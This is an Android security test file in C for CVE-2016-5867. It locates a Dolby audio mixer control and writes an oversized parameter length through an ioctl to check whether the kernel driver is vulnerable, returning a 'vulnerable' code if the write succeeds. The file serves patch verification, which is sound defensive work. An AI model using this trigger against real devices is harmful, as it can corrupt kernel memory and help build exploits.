You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
80 lines
2.1 KiB
80 lines
2.1 KiB
/*
|
|
* Copyright (C) 2019 The Android Open Source Project
|
|
*
|
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
|
* you may not use this file except in compliance with the License.
|
|
* You may obtain a copy of the License at
|
|
*
|
|
* http://www.apache.org/licenses/LICENSE-2.0
|
|
*
|
|
* Unless required by applicable law or agreed to in writing, software
|
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
* See the License for the specific language governing permissions and
|
|
* limitations under the License.
|
|
*/
|
|
|
|
/*
|
|
* CVE-2016-5867
|
|
*/
|
|
|
|
#include "../includes/common.h"
|
|
#include <fcntl.h>
|
|
#include <sound/asound.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/ioctl.h>
|
|
#include <unistd.h>
|
|
|
|
#define DOLBY_SET_PARAM "DS1 DAP Set Param"
|
|
#define NUM_BLOCKS 16384
|
|
#define DOLBY_PARAM_ID_VDHE 0x0001074D
|
|
#define TOTAL_LENGTH_DOLBY_PARAM 745
|
|
|
|
unsigned int get_doblycontrolid(int fd) {
|
|
unsigned int i;
|
|
int ret = -1;
|
|
unsigned int id = 0;
|
|
struct snd_ctl_elem_list lst;
|
|
memset(&lst, 0, sizeof(lst));
|
|
lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
|
|
lst.space = NUM_BLOCKS;
|
|
ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
|
|
if (ret < 0) {
|
|
return 0;
|
|
}
|
|
for (i = 0; i < lst.count; i++) {
|
|
if (!strncmp((const char *)lst.pids[i].name, DOLBY_SET_PARAM,
|
|
(sizeof(DOLBY_SET_PARAM) - 1))) {
|
|
id = lst.pids[i].numid;
|
|
break;
|
|
}
|
|
}
|
|
free(lst.pids);
|
|
return id;
|
|
}
|
|
|
|
int main(){
|
|
int fd = -1;
|
|
struct snd_ctl_elem_value control;
|
|
int ret;
|
|
fd = open("/dev/snd/controlC0", O_RDWR);
|
|
if(fd < 0) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
memset(&control, 0, sizeof(control));
|
|
control.id.numid = get_doblycontrolid(fd);
|
|
if(control.id.numid) {
|
|
control.value.integer.value[1] = DOLBY_PARAM_ID_VDHE;
|
|
control.value.integer.value[3] = TOTAL_LENGTH_DOLBY_PARAM +1;
|
|
ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &control);
|
|
if(ret == 0) {
|
|
close(fd);
|
|
return EXIT_VULNERABLE;
|
|
}
|
|
}
|
|
close(fd);
|
|
return EXIT_SUCCESS;
|
|
}
|